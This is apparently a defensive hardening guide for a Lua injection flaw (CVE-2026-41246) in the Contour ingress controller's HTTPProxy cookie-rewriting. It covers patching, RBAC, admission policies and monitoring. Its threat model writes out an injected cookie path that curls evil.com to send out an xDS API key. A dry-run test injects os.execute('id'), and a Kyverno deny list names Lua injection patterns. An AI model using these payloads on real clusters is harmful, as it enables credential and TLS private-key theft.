Contour Ingress Controller Security
Problem
Contour is a CNCF-graduated Kubernetes ingress controller that uses Envoy as its data plane. Rather than generating a configuration file like nginx, Contour communicates with Envoy in real time using Envoy’s xDS (discovery service) API — a gRPC-based protocol through which Contour pushes listener, route, cluster, and TLS configuration to Envoy instances. Contour introduces HTTPProxy, a custom resource definition that provides a more expressive alternative to the standard Kubernetes Ingress resource. HTTPProxy supports multi-team ingress delegation, CORS policies, rate limiting, weighted traffic splitting, retry policies, header manipulation, and cookie-rewriting — capabilities that the standard Ingress resource cannot express without implementation-specific annotations. Contour translates HTTPProxy resources into Envoy xDS configuration and distributes that configuration to Envoy pods. This architecture is widely used in enterprises because it gives platform teams fine-grained control over traffic policy while supporting delegated ownership: a platform team can create a root HTTPProxy, and individual development teams can create child HTTPProxy resources within their own namespaces, routing traffic to their own services without requiring platform-team involvement for every routing change.
CVE-2026-41246 was published on April 23, 2026, with a CVSS score of 8.1. The vulnerability is a Lua code injection in Contour’s HTTPProxy cookie-rewriting feature. When an HTTPProxy resource specifies cookie-rewriting rules — to add, remove, or modify HTTP response cookies — Contour generates an Envoy Lua filter script to perform the cookie manipulation. The path and cookie values from the HTTPProxy spec are embedded directly into that Lua script using Go’s text/template package without sanitising the input values. An attacker with Kubernetes RBAC permission to create or modify HTTPProxy resources can craft a cookie-rewriting rule whose path or cookie name contains Lua control characters: double quotes, backslashes, or full Lua statements. Because Contour templates the raw value into the Lua source before sending it to Envoy via xDS, the injected Lua code executes inside Envoy’s Lua filter — on every request that matches that HTTPProxy route. The vulnerability is fixed in Contour 1.31.6, 1.32.5, and 1.33.4.
The xDS credential leakage risk amplifies the severity of CVE-2026-41246 well beyond what a CVSS score communicates. Envoy authenticates to the Contour control plane using xDS credentials — typically a shared secret or mTLS certificate that Envoy presents when it establishes its gRPC stream to Contour’s xDS server. These credentials are available within Envoy’s runtime environment, which means they are reachable from Envoy’s Lua filter execution context. An attacker who achieves Lua code injection through CVE-2026-41246 can exfiltrate these credentials by making an outbound HTTP request from within the Lua filter (using core.http_call() or by writing the value into a response header). With xDS credentials in hand, the attacker can impersonate an Envoy instance to the Contour control plane. A rogue Envoy connection to Contour’s xDS server will receive the full cluster-wide xDS configuration stream: all TLS certificates and private keys for every virtual host, all upstream cluster configurations, and all route definitions across every namespace. This transforms a namespace-scoped RBAC permission into a cluster-wide credential and certificate exfiltration.
The multi-tenancy risk is specific to Contour’s HTTPProxy delegation model. Contour is commonly deployed with delegation precisely because it allows development teams to manage their own routing rules in their own namespaces. A developer who has HTTPProxy create/update access in their namespace — the minimal permission needed to participate in the delegated ingress model — can trigger CVE-2026-41246. If the Envoy Lua filter generated by Contour evaluates cookie-rewriting rules across multiple routing contexts within the same filter chain, the injected code executes for traffic matching routes in other teams’ namespaces as well. The developer has overstepped their namespace boundary without any privilege escalation in the Kubernetes RBAC sense — they used only the permissions they were legitimately granted. This breaks the isolation guarantee that multi-team HTTPProxy delegation is designed to provide.
The open-source development model of Contour creates the same patch-gap problem seen with ingress-nginx and cert-manager. Contour’s security advisory process publishes at https://github.com/projectcontour/contour/security/advisories simultaneously with patch releases, but the fix commits are visible in the repository before the advisory is distributed publicly. CVE-2026-41246’s fix — adding sanitisation to the Go text/template call that generates the cookie-rewriting Lua script — was committed to main and the affected release branches before the advisory went live. Operators watching https://github.com/projectcontour/contour/commits/main for changes to internal/dag/builder.go or internal/envoy/v3/listener.go could identify the nature of the fix within hours of the commit landing. This is the patch-gap: the fix is readable, the vulnerable code path is identifiable from the diff, and clusters still running Contour 1.31.5 or earlier are exposed.
Contour’s relationship with Envoy adds a second lag. Contour vendors Envoy at a specific version, checked into its own release cycle. When an Envoy CVE is published, the fix cannot reach a production Contour deployment until Contour cuts a release that includes the patched Envoy binary. Historically, the lag between an Envoy CVE being published and a Contour release shipping the fix has been one to three weeks. During that window, the Envoy vulnerability is known and Contour’s bundled Envoy version is publicly visible in the container image tag. Monitoring both Contour’s advisories and Envoy’s release notes is required to maintain accurate exposure awareness. Useful monitoring commands: gh api repos/projectcontour/contour/security/advisories --jq '.[].summary'; watching Contour’s CHANGELOG.md for security-tagged entries; Renovate configured to track the Contour Helm chart and open PRs when new versions are available.
Target systems: Contour 1.31.x < 1.31.6, 1.32.x < 1.32.5, 1.33.x < 1.33.4 (vulnerable to CVE-2026-41246); Kubernetes 1.28+.
Threat Model
-
CVE-2026-41246 — HTTPProxy Lua injection. A developer with
HTTPProxywrite access in their namespace creates a cookie-rewriting rule with a crafted path value:cookieRewritePolicies: - name: session path: value: "/app\"; os.execute(\"curl https://evil.com/steal?k=\"..tostring(envoy.req.get_header(\"x-xds-api-key\"))); --"Contour templates this string directly into the Lua filter source without escaping the embedded double quotes or the Lua statement boundary. The Lua interpreter inside Envoy executes the injected code on every matching request, exfiltrating the xDS API key to the attacker-controlled host.
-
xDS credential reuse. The attacker uses the exfiltrated xDS credentials to open a gRPC connection to the Contour control plane (
contourservice on port 8001) as a rogue Envoy instance. Contour sends the full xDS configuration stream: allCDS,EDS,LDS,RDS, andSDSresources for the cluster. TheSDS(Secret Discovery Service) response includes TLS certificates and private keys for everyHTTPProxyvirtual host, enabling the attacker to decrypt historical TLS traffic, forge certificates, or impersonate upstream services. -
Patch-gap attacker. A security researcher reads the fix commit in
internal/envoy/v3/listener.go— the addition oftemplate.HTMLEscapeString()or equivalent sanitisation around the cookie path templating call. The diff makes the vulnerable code path explicit: theCookieRewritePolicypath field was embedded verbatim. The researcher crafts a working proof-of-concept exploit against clusters still running Contour 1.31.5. Clusters that are not subscribed to Contour’s GitHub security advisory feed, and that do not trackCHANGELOG.mdchanges, have no awareness that the exploit exists and that they are vulnerable. -
Delegated HTTPProxy escalation. A developer who holds a child
HTTPProxydelegation in namespaceteam-alphacreates a cookie-rewriting rule with Lua injection targeting the shared Lua filter pipeline. If Contour compiles all cookie-rewriting rules into a single Lua filter that runs on all routes sharing the same Envoy listener, the injected code executes on traffic destined forteam-betaroutes on the same listener. The developer has not violated any Kubernetes RBAC rule — they have used only the permissions granted to them — but the blast radius extends beyond their namespace.
The blast radius of CVE-2026-41246 is not limited to the namespace in which the malicious HTTPProxy is created. The xDS credential exfiltration path escalates a namespace-scoped permission to a cluster-wide credential theft. Any cluster running a vulnerable Contour version with HTTPProxy cookie-rewriting in use, or with namespace delegation enabled, should treat CVE-2026-41246 as a critical-priority remediation. Clusters using cookie-rewriting and running in multi-tenant environments — where development teams hold HTTPProxy write access — should treat it as an active incident until patched.
Configuration / Implementation
Upgrading Contour
Upgrade to a patched release immediately. The patched versions are 1.31.6, 1.32.5, and 1.33.4. If you are running an older minor version (1.30.x or earlier), upgrade to the latest 1.33.x release.
Helm upgrade:
helm repo update
helm upgrade contour bitnami/contour \
--version 19.4.6 \
--namespace projectcontour \
--reuse-values
Replace 19.4.6 with the Bitnami chart version that bundles Contour 1.33.4 (check helm search repo bitnami/contour --versions). If you use the upstream Contour Helm chart from charts.projectcontour.io:
helm repo add projectcontour https://charts.projectcontour.io
helm repo update
helm upgrade contour projectcontour/contour \
--version <patched-chart-version> \
--namespace projectcontour \
--reuse-values
Manifest-based upgrade:
kubectl apply -f https://projectcontour.io/quickstart/contour.yaml
Verify the deployed Contour version:
kubectl get deployment -n projectcontour contour \
-o jsonpath='{.spec.template.spec.containers[0].image}'
Expected output for a patched deployment: ghcr.io/projectcontour/contour:v1.33.4 (or v1.32.5 / v1.31.6).
Verify the bundled Envoy version:
kubectl get daemonset -n projectcontour envoy \
-o jsonpath='{.spec.template.spec.containers[0].image}'
Cross-reference the Envoy image tag against the Envoy security advisories to check for outstanding Envoy CVEs that the current Contour release may not yet have addressed.
RBAC Restriction on HTTPProxy Resources
Restrict HTTPProxy create and update permissions to platform engineers. Development teams should have read-only access to HTTPProxy resources and should use application-layer resources (Deployments, Services) exclusively.
# platform-httpproxy-editor.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: platform-httpproxy-editor
rules:
- apiGroups: ["projectcontour.io"]
resources: ["httpproxies"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: developer-httpproxy-viewer
rules:
- apiGroups: ["projectcontour.io"]
resources: ["httpproxies"]
verbs: ["get", "list", "watch"]
Apply and bind to the platform team group:
kubectl apply -f platform-httpproxy-editor.yaml
kubectl create clusterrolebinding platform-httpproxy-editors \
--clusterrole=platform-httpproxy-editor \
--group=platform-engineers
Audit which subjects currently hold HTTPProxy write permissions:
kubectl get clusterrolebinding -o json | \
jq '.items[] | select(.roleRef.name | test("httpproxy|contour"; "i")) |
{name: .metadata.name, role: .roleRef.name, subjects: .subjects}'
Also audit namespace-scoped RoleBindings:
kubectl get rolebinding -A -o json | \
jq '.items[] | select(.roleRef.name | test("httpproxy|contour"; "i")) |
{namespace: .metadata.namespace, name: .metadata.name, subjects: .subjects}'
Any subject with create, update, or patch on httpproxies who is not a platform team member is a risk — remediate by removing or downgrading the binding.
Auditing Existing HTTPProxy Cookie-Rewriting Usage
Determine whether any deployed HTTPProxy resources use cookie-rewriting, which is the specific feature vector for CVE-2026-41246:
kubectl get httpproxy -A -o json | \
jq '.items[] |
select(.spec.routes[]?.cookieRewritePolicies != null) |
{name: .metadata.name, namespace: .metadata.namespace,
routes: [.spec.routes[] |
select(.cookieRewritePolicies != null) |
{services: .services[].name, policies: .cookieRewritePolicies}]}'
If the output is empty, no HTTPProxy uses cookie-rewriting. Document this absence explicitly as a security control in your runbook — it means CVE-2026-41246 has no active exploitation surface in your cluster even before patching, and any future HTTPProxy that introduces cookie-rewriting will require review. If the output lists resources, review each one for suspicious or unexpected path values before applying the patch.
HTTPProxy Admission Validation with Kyverno
Deploy a Kyverno policy to reject HTTPProxy resources whose cookie-rewriting configuration contains characters or patterns associated with Lua injection. This provides a preventative control that survives even if a new template injection variant is introduced in a future release.
# kyverno-httpproxy-cookie-safeguard.yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: httpproxy-cookie-rewrite-safeguard
annotations:
policies.kyverno.io/title: Reject unsafe HTTPProxy cookie-rewriting values
policies.kyverno.io/category: Contour Security
policies.kyverno.io/severity: high
policies.kyverno.io/description: >
Rejects HTTPProxy resources whose cookieRewritePolicies contain characters
or patterns that could enable Lua injection in Contour's Lua filter generation.
Blocks double quotes, backslashes, and common Lua API prefixes.
spec:
validationFailureAction: Enforce
background: false
rules:
- name: block-lua-injection-in-cookie-path
match:
any:
- resources:
kinds: ["HTTPProxy"]
operations: ["CREATE", "UPDATE"]
validate:
message: >
HTTPProxy cookie-rewriting path or name contains characters that may
enable Lua injection (double quote, backslash, os., io., string., ngx.).
Use only alphanumeric characters, hyphens, underscores, and forward slashes.
deny:
conditions:
any:
- key: "{{ request.object.spec.routes[].cookieRewritePolicies[].path.value | to_string(@) }}"
operator: AnyIn
value:
- '*"*'
- '*\\*'
- '*os.*'
- '*io.*'
- '*string.*'
- '*ngx.*'
- '*core.*'
- key: "{{ request.object.spec.routes[].cookieRewritePolicies[].name | to_string(@) }}"
operator: AnyIn
value:
- '*"*'
- '*\\*'
- '*os.*'
- '*io.*'
Apply the policy:
kubectl apply -f kyverno-httpproxy-cookie-safeguard.yaml
Test the policy with a dry-run of a malicious HTTPProxy:
kubectl apply --dry-run=server -f - <<'EOF'
apiVersion: projectcontour.io/v1
kind: HTTPProxy
metadata:
name: test-inject
namespace: default
spec:
virtualhost:
fqdn: test.example.com
routes:
- conditions:
- prefix: /
cookieRewritePolicies:
- name: session
path:
value: '/app"; os.execute("id"); --'
services:
- name: test-svc
port: 80
EOF
Kyverno should reject this with the policy message. A valid cookie path /api/v1 should be accepted.
ValidatingAdmissionPolicy (CEL) alternative for clusters that prefer to avoid Kyverno:
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicy
metadata:
name: httpproxy-cookie-rewrite-safeguard
spec:
failurePolicy: Fail
matchConstraints:
resourceRules:
- apiGroups: ["projectcontour.io"]
apiVersions: ["v1"]
resources: ["httpproxies"]
operations: ["CREATE", "UPDATE"]
validations:
- expression: >
!has(object.spec.routes) ||
object.spec.routes.all(r,
!has(r.cookieRewritePolicies) ||
r.cookieRewritePolicies.all(p,
(!has(p.path) || (!p.path.value.contains('"') && !p.path.value.contains('\\'))) &&
(!p.name.contains('"') && !p.name.contains('\\'))
)
)
message: "HTTPProxy cookie-rewriting path or name contains unsafe characters."
---
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicyBinding
metadata:
name: httpproxy-cookie-rewrite-safeguard-binding
spec:
policyName: httpproxy-cookie-rewrite-safeguard
validationActions: [Deny]
matchResources:
namespaceSelector: {}
Monitoring Contour for Security Fixes
Subscribe to Contour’s security advisories and monitor the repository for security-relevant commits before the advisory cycle completes.
Query Contour’s published security advisories:
gh api repos/projectcontour/contour/security/advisories \
--jq '.[].summary'
Watch for security-relevant commits on the Contour main branch:
gh api "repos/projectcontour/contour/commits?per_page=50" \
--jq '.[] |
select(.commit.message | test("security|CVE|lua|inject|template|sanitiz|xds.*cred|cookie"; "i")) |
{sha: .sha[0:8], msg: .commit.message[0:120]}'
Watch the directories most likely to contain security fixes:
internal/dag/builder.go— HTTPProxy to DAG translationinternal/envoy/v3/listener.go— Envoy listener and Lua filter generationinternal/envoy/v3/route.go— route configurationcmd/contour/— Contour control-plane main process
Use GitHub’s Atom feed for path-scoped watches, or a tool like github-commit-watcher.
Renovate configuration to receive PRs when the Contour Helm chart updates:
{
"packageRules": [
{
"matchPackageNames": ["bitnami/contour", "projectcontour/contour"],
"matchUpdateTypes": ["patch", "minor", "major"],
"labels": ["security", "contour"],
"automerge": false,
"prPriority": 10
}
]
}
Watch Contour’s CHANGELOG for security entries:
gh api "repos/projectcontour/contour/contents/CHANGELOG.md" \
--jq '.content' | base64 -d | grep -A5 -i "security\|CVE\|fix.*inject\|fix.*lua"
Expected Behaviour
| Signal | Unpatched Contour (< 1.31.6 / 1.32.5 / 1.33.4) | Patched + RBAC Restriction |
|---|---|---|
| Lua injection in cookie-rewriting path | Injected code executes in Envoy Lua filter on every matching request; no error or warning in Contour or Envoy logs | Kyverno or VAP rejects the HTTPProxy at admission time; kubectl apply returns policy violation error; no malicious filter reaches Envoy |
| xDS credential exfiltration via Lua | Lua filter reads xDS credentials from Envoy runtime environment and exfiltrates them via core.http_call() to attacker host; Contour and Envoy logs show no anomaly |
Injection prerequisite is blocked at admission; xDS credentials remain in Envoy runtime but are not reachable via Lua without injection; mTLS between Envoy and Contour limits credential reuse |
| Patch-gap commit visible in repository before release | Vulnerable code path (text/template without sanitisation) is readable in internal/envoy/v3/listener.go; operators are not notified until advisory; cluster remains exposed |
Renovation PR or gh api advisory query surfaces the new version immediately; RBAC restriction means no untrusted user can create cookie-rewriting rules during the patch-gap window |
| HTTPProxy create by non-platform user with cookie-rewriting | kubectl apply succeeds; resource is accepted by Kubernetes API; Contour translates it to Envoy configuration |
ClusterRole denies create/update to non-platform users; kubectl apply returns Forbidden; platform team must review and apply |
| Envoy CVE published; Contour release pending | Contour’s bundled Envoy image tag is publicly visible; Envoy CVE is published; Contour has not yet released a fix; 1–3 week exposure window | Renovate monitors Contour chart version; kubectl get daemonset envoy -o jsonpath='{.spec.template.spec.containers[0].image}' surfaces the Envoy version; security team tracks Envoy CVE list and assesses exploitability against the bundled version |
Trade-offs
| Aspect | Benefit | Cost | Mitigation |
|---|---|---|---|
| HTTPProxy RBAC restriction to platform team only | Eliminates the namespace-scoped permission that enables CVE-2026-41246; reduces attack surface across all future HTTPProxy-based vulnerabilities | Removes developer self-service for ingress routing changes; platform team becomes a bottleneck for every routing update, redirect rule, and traffic policy change | Establish a GitOps workflow where developers submit HTTPProxy changes via pull request; platform team reviews and merges; ArgoCD or Flux applies; routing changes land within hours, not minutes |
| Disabling cookie-rewriting | Eliminates the CVE-2026-41246 exploitation surface entirely if no current HTTPProxy uses it; simplest control to apply | Blocks legitimate cookie manipulation use cases: path-scoping cookies to sub-paths, stripping domain attributes for cross-origin flows, removing Secure flags in development environments |
Audit cookie-rewriting usage before disabling; for clusters with no existing cookie-rewriting, document the absence; for clusters with legitimate uses, prioritise upgrading to the patched Contour version |
| Kyverno admission policy for HTTPProxy | Preventative control that blocks known injection patterns before they reach Contour; provides defence-in-depth if a new template injection variant emerges | Adds admission webhook latency (~5–30ms per HTTPProxy create/update); introduces a Kyverno dependency that must itself be maintained and upgraded; policy false positives block valid configurations | Use background: false to limit Kyverno processing to admission time only; write test cases for known valid and invalid inputs and include them in CI; use Audit mode during rollout, switch to Enforce after validating |
| Frequent Contour upgrade cadence | Keeps Envoy and Contour at patched versions; reduces exposure window for both Contour and bundled Envoy CVEs | Contour’s rapid release cycle (multiple patch releases per minor version) makes upgrade tracking non-trivial for teams without automation; each upgrade carries a regression risk | Use Renovate to open PRs automatically; maintain a staging cluster that runs Contour upgrades a week before production; pin Helm chart versions and review before upgrading |
Failure Modes
| Failure | Symptom | Detection | Recovery |
|---|---|---|---|
| RBAC restriction prevents developer from updating time-sensitive routing rule | Developer opens incident ticket; traffic is not routed correctly; platform team on-call is paged after hours | Alert on kubectl auth can-i update httpproxies --namespace <ns> returning no for users who previously had access; track routing change requests in ticketing system |
Define an emergency break-glass procedure: platform engineer applies the routing change directly; GitOps PR is filed retroactively; RBAC is not loosened permanently |
| Kyverno policy rejects a valid HTTPProxy with a false positive | kubectl apply fails with policy violation; the rejected HTTPProxy path value is valid (e.g., /api/v2) but triggers a pattern match |
Test all existing HTTPProxy resources against the Kyverno policy before enforcing: `kubectl get httpproxy -A -o yaml | kubectl apply --dry-run=server -f -`; monitor Kyverno audit logs |
| Contour upgrade changes HTTPProxy API or deprecates fields | After upgrading, existing HTTPProxy resources fail to reconcile; Contour logs show unknown field errors; traffic is not routed | Contour emits status conditions on HTTPProxy resources: kubectl get httpproxy -A -o json | jq '.items[] | select(.status.currentStatus != "valid")' |
Consult Contour’s upgrade notes for the specific version; migrate deprecated fields before upgrading; use kubectl apply --dry-run=server against the new Contour API version before rolling the upgrade |
| Envoy bundled version mismatch between nodes during rolling upgrade | Some Envoy pods run the old version, others the new; xDS configuration compatibility differences cause intermittent 503 errors on routes that use new features | kubectl get pods -n projectcontour -l app=envoy -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.spec.containers[0].image}{"\n"}{end}' shows differing image tags; Envoy access logs show version in user-agent |
Complete the rolling upgrade by allowing the DaemonSet to finish; set updateStrategy.rollingUpdate.maxUnavailable: 1 to control rollout pace; if regression is severe, roll back the DaemonSet image tag |